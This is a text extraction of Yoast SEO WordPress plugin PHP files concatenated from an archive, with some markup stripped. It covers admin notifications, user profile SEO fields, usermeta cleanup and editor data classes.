$this->get_default_seo_data_message( $has_enough_posts_with_default_title, $has_enough_posts_with_default_desc ); return new Yoast_Notification( $message, [ 'id' => self::NOTIFICATION_ID, 'type' => Yoast_Notification::WARNING, 'capabilities' => [ 'wpseo_manage_options' ], ], ); } /** * Creates a message to inform users that they are using only default SEO data lately. * * @param bool $has_enough_posts_with_default_title Whether there are content types with default SEO title in their most recent posts. * @param bool $has_enough_posts_with_default_desc Whether there are content types with default SEO description in their most recent posts. * * @return string The default SEO data message. */ private function get_default_seo_data_message( $has_enough_posts_with_default_title, $has_enough_posts_with_default_desc ): string { $shortlink = ( $this->product_helper->is_premium() ) ? $this->short_link_helper->get( 'https://yoa.st/ai-generate-alert-premium/' ) : $this->short_link_helper->get( 'https://yoa.st/ai-generate-alert-free/' ); if ( $has_enough_posts_with_default_title && $has_enough_posts_with_default_desc ) { $default_seo_data = \esc_html__( 'SEO titles and meta descriptions', 'wordpress-seo' ); } elseif ( $has_enough_posts_with_default_title ) { $default_seo_data = \esc_html__( 'SEO titles', 'wordpress-seo' ); } elseif ( $has_enough_posts_with_default_desc ) { $default_seo_data = \esc_html__( 'meta descriptions', 'wordpress-seo' ); } else { $default_seo_data = \esc_html__( 'SEO data', 'wordpress-seo' ); } /* translators: %1$s expands to "SEO title" or "meta description", %2$s expands to an opening link tag, %3$s expands to an opening strong tag, %4$s expands to a closing strong tag, %5$s expands to a closing link tag. */ $message = ( $this->product_helper->is_premium() ) ? \esc_html__( 'Your recent posts are using default %1$s, which can make them easy to overlook in search results. Update them manually or %2$sfind out how %3$sYoast AI Generate%4$s can improve them for you.%5$s', 'wordpress-seo' ) : \esc_html__( 'Your recent posts are using default %1$s, which can make them easy to overlook in search results. Update them for better visibility or %2$stry %3$sYoast AI Generate%4$s for free to do it faster.%5$s', 'wordpress-seo' ); return \sprintf( $message, $default_seo_data, '
      ', '', '', '', ); } } alerts/application/ping-other-admins/ping-other-admins-alert.php000064400000011542152076255400021042 0ustar00notification_center = $notification_center; $this->short_link_helper = $short_link_helper; $this->product_helper = $product_helper; $this->options_helper = $options_helper; $this->user_helper = $user_helper; } /** * Returns the conditionals based on which this loadable should be active. * * @return array */ public static function get_conditionals() { return [ Admin_Conditional::class ]; } /** * Initializes the integration. * * @return void */ public function register_hooks() { \add_action( 'admin_init', [ $this, 'add_notifications' ] ); } /** * Adds notification when user has not installed Yoast SEO themselves and has not resolved the notification yet. * * @return void */ public function add_notifications() { if ( $this->has_user_installed_yoast() ) { $this->notification_center->remove_notification_by_id( self::NOTIFICATION_ID ); return; } if ( $this->has_notification_been_resolved() ) { $this->notification_center->remove_notification_by_id( self::NOTIFICATION_ID ); return; } $notification = $this->get_ping_other_admins_notification(); $this->notification_center->add_notification( $notification ); } /** * Returns whether user has installed Yoast SEO themselves. * * @return bool Whether the user has installed Yoast SEO themselves. */ private function has_user_installed_yoast(): bool { $first_activated_by = $this->options_helper->get( 'first_activated_by', 0 ); if ( $first_activated_by === 0 ) { return true; // We cannot be sure, so we assume they did. } if ( \get_current_user_id() === $first_activated_by ) { return true; } return false; } /** * Returns whether the alert has been resolved before. * * @return bool Whether the alert has been resolved before. */ private function has_notification_been_resolved(): bool { return $this->user_helper->get_meta( \get_current_user_id(), self::NOTIFICATION_ID . '_resolved', true ) === '1'; } /** * Build the ping-other-admins notification. * * @return Yoast_Notification The ping-other-admins notification. */ private function get_ping_other_admins_notification(): Yoast_Notification { $message = $this->get_message(); return new Yoast_Notification( $message, [ 'id' => self::NOTIFICATION_ID, 'type' => Yoast_Notification::WARNING, 'capabilities' => [ 'wpseo_manage_options' ], 'priority' => 20, 'resolve_nonce' => \wp_create_nonce( 'wpseo-resolve-alert-nonce' ), ], ); } /** * Returns the notification as an HTML string. * * @return string The HTML string representation of the notification. */ private function get_message() { $message = \sprintf( /* translators: %1$s expands to "Yoast SEO". */ \esc_html__( 'Looks like you’re new here. %1$s makes it easy to optimize your website for search engines. Want to keep your site healthy and easier to find? Sign up below to receive practical emails to get you started!', 'wordpress-seo' ), 'Yoast SEO', ); $notification_text = '

      ' . $message . '

      '; return $notification_text; } } alerts/application/indexables-disabled/indexables-disabled-alert.php000064400000006721152076255400021741 0ustar00notification_center = $notification_center; $this->indexable_helper = $indexable_helper; $this->short_link_helper = $short_link_helper; } /** * Returns the conditionals based on which this loadable should be active. * * @return array */ public static function get_conditionals() { return [ Admin_Conditional::class ]; } /** * Initializes the integration. * * @return void */ public function register_hooks() { \add_action( 'admin_init', [ $this, 'add_notifications' ] ); } /** * Adds or removes notification based on whether indexables are disabled. * * @return void */ public function add_notifications() { if ( $this->indexable_helper->should_index_indexables() ) { $this->notification_center->remove_notification_by_id( self::NOTIFICATION_ID ); return; } $notification = $this->get_indexables_disabled_notification(); $this->notification_center->add_notification( $notification ); } /** * Builds the indexables-disabled notification. * * @return Yoast_Notification The indexables-disabled notification. */ private function get_indexables_disabled_notification(): Yoast_Notification { $message = $this->get_message(); return new Yoast_Notification( $message, [ 'id' => self::NOTIFICATION_ID, 'type' => Yoast_Notification::WARNING, 'capabilities' => [ 'wpseo_manage_options' ], ], ); } /** * Returns the notification message as an HTML string. * * @return string The HTML string representation of the notification. */ private function get_message(): string { $shortlink = $this->short_link_helper->get( 'https://yoa.st/indexables-disabled' ); $message = \sprintf( /* translators: %1$s expands to "Yoast", %2$s expands to an opening anchor tag, %3$s expands to a closing anchor tag. */ \esc_html__( '%1$s indexables are disabled because your site is in a non-production environment or custom code is blocking them. This may affect your SEO features. %2$sLearn more about this%3$s.', 'wordpress-seo' ), 'Yoast', '', '', ); return $message; } } alerts/infrastructure/default-seo-data/default-seo-data-collector.php000064400000002243152076255400022060 0ustar00options_helper = $options_helper; } /** * Returns the posts with default SEO title in their most recent. * * @return string[] The posts with default SEO title in their most recent. */ public function get_posts_with_default_seo_title(): array { return $this->options_helper->get( 'default_seo_title', [] ); } /** * Returns the posts with default SEO description in their most recent. * * @return string[] The posts with default SEO description in their most recent. */ public function get_posts_with_default_seo_description(): array { return $this->options_helper->get( 'default_seo_meta_desc', [] ); } } alerts/user-interface/default-seo-data/default-seo-data-cron-scheduler.php000064400000002460152076255410022645 0ustar00options_helper = $options_helper; $this->scheduler = $scheduler; $this->indexable_repository = $indexable_repository; } /** * Registers the hooks. * * @return void */ public function register_hooks() { \add_action( Default_SEO_Data_Cron_Scheduler::CRON_HOOK, [ $this, 'detect_default_seo_data_in_recent', ], ); } /** * Detects default SEO data in recent posts and updates the relevant options. * * @return void */ public function detect_default_seo_data_in_recent(): void { if ( ! \wp_doing_cron() ) { return; } $recent_posts = $this->indexable_repository->get_recently_modified_posts( 'post', 5, false ); $recent_default_seo_title = []; $recent_default_seo_meta_desc = []; foreach ( $recent_posts as $post ) { if ( $post->title === null ) { $recent_default_seo_title[] = $post->object_id; } if ( $post->description === null ) { $recent_default_seo_meta_desc[] = $post->object_id; } } $this->options_helper->set( 'default_seo_title', $recent_default_seo_title ); $this->options_helper->set( 'default_seo_meta_desc', $recent_default_seo_meta_desc ); } } alerts/user-interface/default-seo-data/default-seo-data-watcher.php000064400000004224152076255410021365 0ustar00indexable_repository = $indexable_repository; $this->options_helper = $options_helper; } /** * Registers the hooks with WordPress. * * @return void */ public function register_hooks() { \add_action( 'wpseo_saved_indexable', [ $this, 'check_for_default_seo_data' ], 10, 1 ); } /** * Checks for default SEO data in the saved indexable and the most recently modified posts. * * @param Indexable $saved_indexable The saved indexable. * * @return void */ public function check_for_default_seo_data( $saved_indexable ): void { // We have activated this feature only for posts for now. if ( $saved_indexable->object_type !== 'post' || $saved_indexable->object_sub_type !== 'post' ) { return; } // If the title or description is null, it means it's not default SEO data so let's reset the options. if ( $saved_indexable->title !== null ) { $this->options_helper->set( 'default_seo_title', [] ); } if ( $saved_indexable->description !== null ) { $this->options_helper->set( 'default_seo_meta_desc', [] ); } } } alerts/user-interface/resolve-alert-route.php000064400000004052152076255410015413 0ustar00user_helper = $user_helper; $this->capability_helper = $capability_helper; } /** * Registers all hooks to WordPress. * * @return void */ public function register_hooks() { \add_action( 'wp_ajax_wpseo_resolve_alert', [ $this, 'resolve_alert' ] ); } /** * Runs the callback to resolve an alert for the current user. * * @return void. */ public function resolve_alert() { if ( ! \check_ajax_referer( 'wpseo-resolve-alert-nonce', 'nonce', false ) || ! $this->capability_helper->current_user_can( 'wpseo_manage_options' ) ) { \wp_send_json_error( [ 'message' => 'Security check failed.', ], ); return; } if ( ! isset( $_POST['alertId'] ) ) { \wp_send_json_error( [ 'message' => 'Alert ID is missing.', ], ); return; } $alert_id = \sanitize_text_field( \wp_unslash( $_POST['alertId'] ) ); $user_id = \get_current_user_id(); $this->user_helper->update_meta( $user_id, $alert_id . '_resolved', true ); \wp_send_json_success( [ 'message' => 'Alert resolved successfully.', ], ); } } user-meta/domain/custom-meta-interface.php000064400000002163152076255410014633 0ustar00 */ private $additional_contactmethods; /** * The constructor. * * @param Additional_Contactmethod_Interface ...$additional_contactmethods All additional contactmethods. */ public function __construct( Additional_Contactmethod_Interface ...$additional_contactmethods ) { $this->additional_contactmethods = $additional_contactmethods; } /** * Returns all the additional contactmethods. * * @return array All the additional contactmethods. */ public function get_additional_contactmethods(): array { $additional_contactmethods = $this->additional_contactmethods; /** * Filter: Adds the possibility to add more additional contactmethods in the user profile. * * @param array $additional_contactmethods Array with additional contact method classes. */ return \apply_filters( 'wpseo_additional_contactmethods', $additional_contactmethods ); } /** * Returns the additional contactmethods key/value pairs. * * @return array The additional contactmethods key/value pairs. */ public function get_additional_contactmethods_objects(): array { $additional_contactmethods_objects = []; $additional_contactmethods = $this->get_additional_contactmethods(); foreach ( $additional_contactmethods as $additional_contactmethod ) { $additional_contactmethods_objects[ $additional_contactmethod->get_key() ] = $additional_contactmethod->get_label(); } return $additional_contactmethods_objects; } /** * Returns the additional contactmethods keys. * * @return array The additional contactmethods keys. */ public function get_additional_contactmethods_keys(): array { $additional_contactmethods_keys = []; $additional_contactmethods = $this->get_additional_contactmethods(); foreach ( $additional_contactmethods as $additional_contactmethod ) { $additional_contactmethods_keys[] = $additional_contactmethod->get_key(); } return $additional_contactmethods_keys; } } user-meta/application/cleanup-service.php000064400000004266152076255420014567 0ustar00additional_contactmethods_collector = $additional_contactmethods_collector; $this->custom_meta_collector = $custom_meta_collector; $this->cleanup_repository = $cleanup_repository; } /** * Deletes selected empty usermeta. * * @param int $limit The limit we'll apply to the cleanups. * * @return int|bool The number of rows that was deleted or false if the query failed. */ public function cleanup_selected_empty_usermeta( int $limit ) { $meta_to_check = $this->get_meta_to_check(); return $this->cleanup_repository->delete_empty_usermeta_query( $meta_to_check, $limit ); } /** * Gets which meta are going to be checked for emptiness. * * @return array The meta to be checked for emptiness. */ private function get_meta_to_check() { $additional_contactmethods = $this->additional_contactmethods_collector->get_additional_contactmethods_keys(); $custom_meta = $this->custom_meta_collector->get_non_empty_custom_meta(); return \array_merge( $additional_contactmethods, $custom_meta ); } } user-meta/application/custom-meta-collector.php000064400000003077152076255420015723 0ustar00 */ private $custom_meta; /** * The constructor. * * @param Custom_Meta_Interface ...$custom_meta All custom meta. */ public function __construct( Custom_Meta_Interface ...$custom_meta ) { $this->custom_meta = $custom_meta; } /** * Returns all the custom meta. * * @return array All the custom meta. */ public function get_custom_meta(): array { return $this->custom_meta; } /** * Returns all the custom meta, sorted by rendering priority. * * @return array All the custom meta, sorted by rendering priority. */ public function get_sorted_custom_meta(): array { $custom_meta = $this->get_custom_meta(); \usort( $custom_meta, static function ( Custom_Meta_Interface $a, Custom_Meta_Interface $b ) { return ( $a->get_render_priority() <=> $b->get_render_priority() ); }, ); return $custom_meta; } /** * Returns the custom meta that can't be empty. * * @return array The custom meta that can't be empty. */ public function get_non_empty_custom_meta(): array { $non_empty_custom_meta = []; foreach ( $this->custom_meta as $custom_meta ) { if ( ! $custom_meta->is_empty_allowed() ) { $non_empty_custom_meta[] = $custom_meta->get_key(); } } return $non_empty_custom_meta; } } user-meta/infrastructure/cleanup-repository.php000064400000002465152076255420016122 0ustar00 $meta_keys The meta to be potentially deleted. * @param int $limit The number of maximum deletions. * * @return int|false The number of rows that was deleted or false if the query failed. */ public function delete_empty_usermeta_query( $meta_keys, $limit ) { global $wpdb; // phpcs:disable WordPress.DB.PreparedSQLPlaceholders.ReplacementsWrongNumber -- Reason: we're passing an array instead. $delete_query = $wpdb->prepare( 'DELETE FROM %i WHERE meta_key IN ( ' . \implode( ', ', \array_fill( 0, \count( $meta_keys ), '%s' ) ) . ' ) AND meta_value = "" ORDER BY user_id LIMIT %d', \array_merge( [ $wpdb->usermeta ], $meta_keys, [ $limit ] ), ); // phpcs:enable // phpcs:disable WordPress.DB.DirectDatabaseQuery.NoCaching -- Reason: No relevant caches. // phpcs:disable WordPress.DB.DirectDatabaseQuery.DirectQuery -- Reason: Most performant way. // phpcs:disable WordPress.DB.PreparedSQL.NotPrepared -- Reason: Is it prepared already. return $wpdb->query( $delete_query ); // phpcs:enable } } user-meta/framework/custom-meta/keyword-analysis-disable.php000064400000005657152076255420020345 0ustar00options_helper = $options_helper; } /** * Returns the priority which the custom meta's form field should be rendered with. * * @return int The priority which the custom meta's form field should be rendered with. */ public function get_render_priority(): int { return 400; } /** * Returns the db key of the Keyword_Analysis_Disable custom meta. * * @return string The db key of the Keyword_Analysis_Disable custom meta. */ public function get_key(): string { return 'wpseo_keyword_analysis_disable'; } /** * Returns the id of the custom meta's form field. * * @return string The id of the custom meta's form field. */ public function get_field_id(): string { return 'wpseo_keyword_analysis_disable'; } /** * Returns the meta value. * * @param int $user_id The user ID. * * @return string The meta value. */ public function get_value( $user_id ): string { return \get_the_author_meta( $this->get_key(), $user_id ); } /** * Returns whether the respective global setting is enabled. * * @return bool Whether the respective global setting is enabled. */ public function is_setting_enabled(): bool { return ( $this->options_helper->get( 'keyword_analysis_active', false ) ); } /** * Returns whether the custom meta is allowed to be empty. * * @return bool Whether the custom meta is allowed to be empty. */ public function is_empty_allowed(): bool { return true; } /** * Renders the custom meta's field in the user form. * * @param int $user_id The user ID. * * @return void */ public function render_field( $user_id ): void { echo ' get_value( $user_id ), 'on', false ) . '/>'; echo '
      '; echo '

      ' . \esc_html__( 'Removes the focus keyphrase section from the metabox and disables all SEO-related suggestions.', 'wordpress-seo' ) . '

      '; } } user-meta/framework/custom-meta/author-title.php000064400000004765152076255420016057 0ustar00options_helper = $options_helper; } /** * Returns the priority which the custom meta's form field should be rendered with. * * @return int The priority which the custom meta's form field should be rendered with. */ public function get_render_priority(): int { return 100; } /** * Returns the db key of the Author_Title custom meta. * * @return string The db key of the Author_Title custom meta. */ public function get_key(): string { return 'wpseo_title'; } /** * Returns the id of the custom meta's form field. * * @return string The id of the custom meta's form field. */ public function get_field_id(): string { return 'wpseo_author_title'; } /** * Returns the meta value. * * @param int $user_id The user ID. * * @return string The meta value. */ public function get_value( $user_id ): string { return \get_the_author_meta( $this->get_key(), $user_id ); } /** * Returns whether the respective global setting is enabled. * * @return bool Whether the respective global setting is enabled. */ public function is_setting_enabled(): bool { return ( ! $this->options_helper->get( 'disable-author' ) ); } /** * Returns whether the custom meta is allowed to be empty. * * @return bool Whether the custom meta is allowed to be empty. */ public function is_empty_allowed(): bool { return true; } /** * Renders the custom meta's field in the user form. * * @param int $user_id The user ID. * * @return void */ public function render_field( $user_id ): void { echo ' '; echo '
      '; } } user-meta/framework/custom-meta/noindex-author.php000064400000005155152076255420016374 0ustar00options_helper = $options_helper; } /** * Returns the priority which the custom meta's form field should be rendered with. * * @return int The priority which the custom meta's form field should be rendered with. */ public function get_render_priority(): int { return 300; } /** * Returns the db key of the Noindex_Author custom meta. * * @return string The db key of the Noindex_Author custom meta. */ public function get_key(): string { return 'wpseo_noindex_author'; } /** * Returns the id of the custom meta's form field. * * @return string The id of the custom meta's form field. */ public function get_field_id(): string { return 'wpseo_noindex_author'; } /** * Returns the meta value. * * @param int $user_id The user ID. * * @return string The meta value. */ public function get_value( $user_id ): string { return \get_the_author_meta( $this->get_key(), $user_id ); } /** * Returns whether the respective global setting is enabled. * * @return bool Whether the respective global setting is enabled. */ public function is_setting_enabled(): bool { return ( ! $this->options_helper->get( 'disable-author' ) ); } /** * Returns whether the custom meta is allowed to be empty. * * @return bool Whether the custom meta is allowed to be empty. */ public function is_empty_allowed(): bool { return false; } /** * Renders the custom meta's field in the user form. * * @param int $user_id The user ID. * * @return void */ public function render_field( $user_id ): void { echo ' get_value( $user_id ), 'on', false ) . '/>'; echo '
      '; } } user-meta/framework/custom-meta/author-pronouns.php000064400000005231152076255420016606 0ustar00options_helper = $options_helper; } /** * Returns the priority which the custom meta's form field should be rendered with. * * @return int The priority which the custom meta's form field should be rendered with. */ public function get_render_priority(): int { return 300; } /** * Returns the db key of the Author_Pronouns custom meta. * * @return string The db key of the Author_Pronouns custom meta. */ public function get_key(): string { return 'wpseo_pronouns'; } /** * Returns the id of the custom meta's form field. * * @return string The id of the custom meta's form field. */ public function get_field_id(): string { return 'wpseo_author_pronouns'; } /** * Returns the meta value. * * @param int $user_id The user ID. * * @return string The meta value. */ public function get_value( $user_id ): string { return \get_the_author_meta( $this->get_key(), $user_id ); } /** * Returns whether the respective global setting is enabled. * * @return bool Whether the respective global setting is enabled. */ public function is_setting_enabled(): bool { return ( ! $this->options_helper->get( 'disable-author' ) ); } /** * Returns whether the custom meta is allowed to be empty. * * @return bool Whether the custom meta is allowed to be empty. */ public function is_empty_allowed(): bool { return true; } /** * Renders the custom meta's field in the user form. * * @param int $user_id The user ID. * * @return void */ public function render_field( $user_id ): void { echo ' '; echo '
      ' . '

      ' . \esc_html__( 'Enter the pronouns for the author, for example "she/her", "he/him", or "they/them".', 'wordpress-seo' ) . '

      '; } } user-meta/framework/custom-meta/content-analysis-disable.php000064400000005704152076255420020324 0ustar00options_helper = $options_helper; } /** * Returns the priority which the custom meta's form field should be rendered with. * * @return int The priority which the custom meta's form field should be rendered with. */ public function get_render_priority(): int { return 500; } /** * Returns the db key of the Content_Analysis_Disable custom meta. * * @return string The db key of the Content_Analysis_Disable custom meta. */ public function get_key(): string { return 'wpseo_content_analysis_disable'; } /** * Returns the id of the custom meta's form field. * * @return string The id of the custom meta's form field. */ public function get_field_id(): string { return 'wpseo_content_analysis_disable'; } /** * Returns the meta value. * * @param int $user_id The user ID. * * @return string The meta value. */ public function get_value( $user_id ): string { return \get_the_author_meta( $this->get_key(), $user_id ); } /** * Returns whether the respective global setting is enabled. * * @return bool Whether the respective global setting is enabled. */ public function is_setting_enabled(): bool { return ( $this->options_helper->get( 'content_analysis_active', false ) ); } /** * Returns whether the custom meta is allowed to be empty. * * @return bool Whether the custom meta is allowed to be empty. */ public function is_empty_allowed(): bool { return true; } /** * Renders the custom meta's field in the user form. * * @param int $user_id The user ID. * * @return void */ public function render_field( $user_id ): void { echo ' get_value( $user_id ), 'on', false ) . '/>'; echo '
      '; echo '

      ' . \esc_html__( 'Removes the readability analysis section from the metabox and disables all readability-related suggestions.', 'wordpress-seo' ) . '

      '; } } user-meta/framework/custom-meta/inclusive-language-analysis-disable.php000064400000006046152076255420022434 0ustar00options_helper = $options_helper; } /** * Returns the priority which the custom meta's form field should be rendered with. * * @return int The priority which the custom meta's form field should be rendered with. */ public function get_render_priority(): int { return 600; } /** * Returns the db key of the Inclusive_Language_Analysis_Disable custom meta. * * @return string The db key of the Inclusive_Language_Analysis_Disable custom meta. */ public function get_key(): string { return 'wpseo_inclusive_language_analysis_disable'; } /** * Returns the id of the custom meta's form field. * * @return string The id of the custom meta's form field. */ public function get_field_id(): string { return 'wpseo_inclusive_language_analysis_disable'; } /** * Returns the meta value. * * @param int $user_id The user ID. * * @return string The meta value. */ public function get_value( $user_id ): string { return \get_the_author_meta( $this->get_key(), $user_id ); } /** * Returns whether the respective global setting is enabled. * * @return bool Whether the respective global setting is enabled. */ public function is_setting_enabled(): bool { return ( $this->options_helper->get( 'inclusive_language_analysis_active', false ) ); } /** * Returns whether the custom meta is allowed to be empty. * * @return bool Whether the custom meta is allowed to be empty. */ public function is_empty_allowed(): bool { return true; } /** * Renders the custom meta's field in the user form. * * @param int $user_id The user ID. * * @return void */ public function render_field( $user_id ): void { echo ' get_value( $user_id ), 'on', false ) . '/>'; echo '
      '; echo '

      ' . \esc_html__( 'Removes the inclusive language analysis section from the metabox and disables all inclusive language-related suggestions.', 'wordpress-seo' ) . '

      '; } } user-meta/framework/custom-meta/author-metadesc.php000064400000005100152076255430016504 0ustar00options_helper = $options_helper; } /** * Returns the priority which the custom meta's form field should be rendered with. * * @return int The priority which the custom meta's form field should be rendered with. */ public function get_render_priority(): int { return 200; } /** * Returns the db key of the Author_Metadesc custom meta. * * @return string The db key of the Author_Metadesc custom meta. */ public function get_key(): string { return 'wpseo_metadesc'; } /** * Returns the id of the custom meta's form field. * * @return string The id of the custom meta's form field. */ public function get_field_id(): string { return 'wpseo_author_metadesc'; } /** * Returns the meta value. * * @param int $user_id The user ID. * * @return string The meta value. */ public function get_value( $user_id ): string { return \get_the_author_meta( $this->get_key(), $user_id ); } /** * Returns whether the respective global setting is enabled. * * @return bool Whether the respective global setting is enabled. */ public function is_setting_enabled(): bool { return ( ! $this->options_helper->get( 'disable-author' ) ); } /** * Returns whether the custom meta is allowed to be empty. * * @return bool Whether the custom meta is allowed to be empty. */ public function is_empty_allowed(): bool { return true; } /** * Renders the custom meta's field in the user form. * * @param int $user_id The user ID. * * @return void */ public function render_field( $user_id ): void { echo ' '; echo '
      '; } } user-meta/framework/additional-contactmethods/tumblr.php000064400000001270152076255430017617 0ustar00' . \__( '(if one exists)', 'wordpress-seo' ) . ''; } } user-meta/framework/additional-contactmethods/soundcloud.php000064400000001330152076255430020466 0ustar00custom_meta_collector = $custom_meta_collector; } /** * Retrieves the conditionals for the integration. * * @return array The conditionals. */ public static function get_conditionals() { return [ Admin_Conditional::class, User_Can_Edit_Users_Conditional::class, User_Edit_Conditional::class, ]; } /** * Registers action hook. * * @return void */ public function register_hooks(): void { \add_action( 'show_user_profile', [ $this, 'user_profile' ] ); \add_action( 'edit_user_profile', [ $this, 'user_profile' ] ); \add_action( 'personal_options_update', [ $this, 'process_user_option_update' ] ); \add_action( 'edit_user_profile_update', [ $this, 'process_user_option_update' ] ); } /** * Updates the user metas that (might) have been set on the user profile page. * * @param int $user_id User ID of the updated user. * * @return void */ public function process_user_option_update( $user_id ) { \update_user_meta( $user_id, '_yoast_wpseo_profile_updated', \time() ); if ( ! \check_admin_referer( 'wpseo_user_profile_update', 'wpseo_nonce' ) ) { return; } foreach ( $this->custom_meta_collector->get_custom_meta() as $meta ) { if ( ! $meta->is_setting_enabled() ) { continue; } $meta_field_id = $meta->get_field_id(); $user_input_to_store = isset( $_POST[ $meta_field_id ] ) ? \sanitize_text_field( \wp_unslash( $_POST[ $meta_field_id ] ) ) : ''; if ( $meta->is_empty_allowed() || $user_input_to_store !== '' ) { \update_user_meta( $user_id, $meta->get_key(), $user_input_to_store ); continue; } \delete_user_meta( $user_id, $meta->get_key() ); } } /** * Adds the inputs needed for SEO values to the User Profile page. * * @param WP_User $user User instance to output for. * * @return void */ public function user_profile( $user ) { \wp_nonce_field( 'wpseo_user_profile_update', 'wpseo_nonce' ); /* translators: %1$s expands to Yoast SEO */ $yoast_user_settings_header = \sprintf( \__( '%1$s settings', 'wordpress-seo' ), 'Yoast SEO' ); echo '

      ' . \esc_html( $yoast_user_settings_header ) . '

      '; foreach ( $this->custom_meta_collector->get_sorted_custom_meta() as $meta ) { if ( ! $meta->is_setting_enabled() ) { continue; } $meta->render_field( $user->ID ); } \do_action( 'wpseo_render_user_profile', $user ); echo '
      '; } } user-meta/user-interface/additional-contactmethods-integration.php000064400000005244152076255440021560 0ustar00additional_contactmethods_collector = $additional_contactmethods_collector; } /** * Registers action hook. * * @return void */ public function register_hooks(): void { \add_filter( 'user_contactmethods', [ $this, 'update_contactmethods' ] ); \add_filter( 'update_user_metadata', [ $this, 'stop_storing_empty_metadata' ], 10, 4 ); } /** * Updates the contactmethods with an additional set of social profiles. * * These are used with the Facebook author, rel="author", Twitter cards implementation, but also in the `sameAs` schema attributes. * * @param array $contactmethods Currently set contactmethods. * * @return array Contactmethods with added contactmethods. */ public function update_contactmethods( $contactmethods ) { $additional_contactmethods = $this->additional_contactmethods_collector->get_additional_contactmethods_objects(); return \array_merge( ( $contactmethods ?? [] ), $additional_contactmethods ); } /** * Returns a check value, which will stop empty contactmethods from going into the database. * * @param bool|null $check Whether to allow updating metadata for the given type. * @param int $object_id ID of the object metadata is for. * @param string $meta_key Metadata key. * @param mixed $meta_value Metadata value. Must be serializable if non-scalar. * * @return false|null False for when we are to filter out empty metadata, null for no filtering. */ public function stop_storing_empty_metadata( $check, $object_id, $meta_key, $meta_value ) { $additional_contactmethods = $this->additional_contactmethods_collector->get_additional_contactmethods_keys(); if ( \in_array( $meta_key, $additional_contactmethods, true ) && $meta_value === '' ) { \delete_user_meta( $object_id, $meta_key ); return false; } return $check; } } user-meta/user-interface/cleanup-integration.php000064400000002451152076255440016057 0ustar00cleanup_service = $cleanup_service; } /** * Registers action hook. * * @return void */ public function register_hooks(): void { \add_filter( 'wpseo_misc_cleanup_tasks', [ $this, 'add_user_meta_cleanup_tasks' ] ); } /** * Adds cleanup tasks for the cleanup integration. * * @param Closure[] $tasks Array of tasks to be added. * * @return Closure[] An associative array of tasks to be added to the cleanup integration. */ public function add_user_meta_cleanup_tasks( $tasks ) { return \array_merge( $tasks, [ 'clean_selected_empty_usermeta' => function ( $limit ) { return $this->cleanup_service->cleanup_selected_empty_usermeta( $limit ); }, ], ); } } editors/domain/integrations/integration-data-provider-interface.php000064400000001560152076255440021737 0ustar00 Returns the name and if the feature is enabled. */ public function to_array(): array; /** * Returns this object represented by a key value structure that is compliant with the script data array. * * @return array Returns the legacy key and if the feature is enabled. */ public function to_legacy_array(): array; } editors/domain/analysis-features/analysis-features-list.php000064400000002411152076255440020254 0ustar00 */ private $features = []; /** * Adds an analysis feature to the list. * * @param Analysis_Feature $feature The analysis feature to add. * * @return void */ public function add_feature( Analysis_Feature $feature ): void { $this->features[] = $feature; } /** * Parses the feature list to a legacy ready array representation. * * @return array The list presented as a key value representation. */ public function parse_to_legacy_array(): array { $array = []; foreach ( $this->features as $feature ) { $array = \array_merge( $array, $feature->to_legacy_array() ); } return $array; } /** * Parses the feature list to an array representation. * * @return array The list presented as a key value representation. */ public function to_array(): array { $array = []; foreach ( $this->features as $feature ) { $array = \array_merge( $array, $feature->to_array() ); } return $array; } } editors/domain/analysis-features/analysis-feature.php000064400000003456152076255440017132 0ustar00is_enabled = $is_enabled; $this->name = $name; $this->legacy_key = $legacy_key; } /** * If the feature is enabled. * * @return bool If the feature is enabled. */ public function is_enabled(): bool { return $this->is_enabled; } /** * Gets the identifier. * * @return string The feature identifier. */ public function get_name(): string { return $this->name; } /** * Return this object represented by a key value array. * * @return array Returns the name and if the feature is enabled. */ public function to_array(): array { return [ $this->name => $this->is_enabled ]; } /** * Returns this object represented by a key value structure that is compliant with the script data array. * * @return array Returns the legacy key and if the feature is enabled. */ public function to_legacy_array(): array { return [ $this->legacy_key => $this->is_enabled ]; } } editors/domain/analysis-features/analysis-feature-interface.php000064400000001222152076255450021056 0ustar00description_date = $description_date; $this->description_template = $description_template; } /** * Returns the data as an array format. * * @return array */ public function to_array(): array { return [ 'description_template' => $this->description_template, 'description_date' => $this->description_date, ]; } /** * Returns the data as an array format meant for legacy use. * * @return array */ public function to_legacy_array(): array { return [ 'metadesc_template' => $this->description_template, 'metaDescriptionDate' => $this->description_date, ]; } } editors/domain/seo/keyphrase.php000064400000002714152076255450012775 0ustar00 */ private $keyphrase_usage_count; /** * The post types for the given post IDs. * * @var array */ private $keyphrase_usage_per_type; /** * The constructor. * * @param array $keyphrase_usage_count The keyphrase and the associated posts that use it. * @param array $keyphrase_usage_per_type The post types for the given post IDs. */ public function __construct( array $keyphrase_usage_count, array $keyphrase_usage_per_type ) { $this->keyphrase_usage_count = $keyphrase_usage_count; $this->keyphrase_usage_per_type = $keyphrase_usage_per_type; } /** * Returns the data as an array format. * * @return array */ public function to_array(): array { return [ 'keyphrase_usage' => $this->keyphrase_usage_count, 'keyphrase_usage_per_type' => $this->keyphrase_usage_per_type, ]; } /** * Returns the data as an array format meant for legacy use. * * @return array */ public function to_legacy_array(): array { return [ 'keyword_usage' => $this->keyphrase_usage_count, 'keyword_usage_post_types' => $this->keyphrase_usage_per_type, ]; } } editors/domain/seo/social.php000064400000004423152076255450012253 0ustar00social_title_template = $social_title_template; $this->social_description_template = $social_description_template; $this->social_image_template = $social_image_template; $this->social_first_content_image = $social_first_content_image; } /** * Returns the data as an array format. * * @return array */ public function to_array(): array { return [ 'social_title_template' => $this->social_title_template, 'social_description_template' => $this->social_description_template, 'social_image_template' => $this->social_image_template, 'first_content_image_social_preview' => $this->social_first_content_image, ]; } /** * Returns the data as an array format meant for legacy use. * * @return array */ public function to_legacy_array(): array { return [ 'social_title_template' => $this->social_title_template, 'social_description_template' => $this->social_description_template, 'social_image_template' => $this->social_image_template, 'first_content_image' => $this->social_first_content_image, ]; } } editors/domain/seo/seo-plugin-data-interface.php000064400000000732152076255450015727 0ustar00 */ public function to_array(): array; /** * Returns the data as an array format meant for legacy use. * * @return array */ public function to_legacy_array(): array; } editors/domain/seo/title.php000064400000002545152076255450012125 0ustar00title_template = $title_template; $this->title_template_no_fallback = $title_template_no_fallback; } /** * Returns the data as an array format. * * @return array */ public function to_array(): array { return [ 'title_template' => $this->title_template, 'title_template_no_fallback' => $this->title_template_no_fallback, ]; } /** * Returns the data as an array format meant for legacy use. * * @return array */ public function to_legacy_array(): array { return [ 'title_template' => $this->title_template, 'title_template_no_fallback' => $this->title_template_no_fallback, 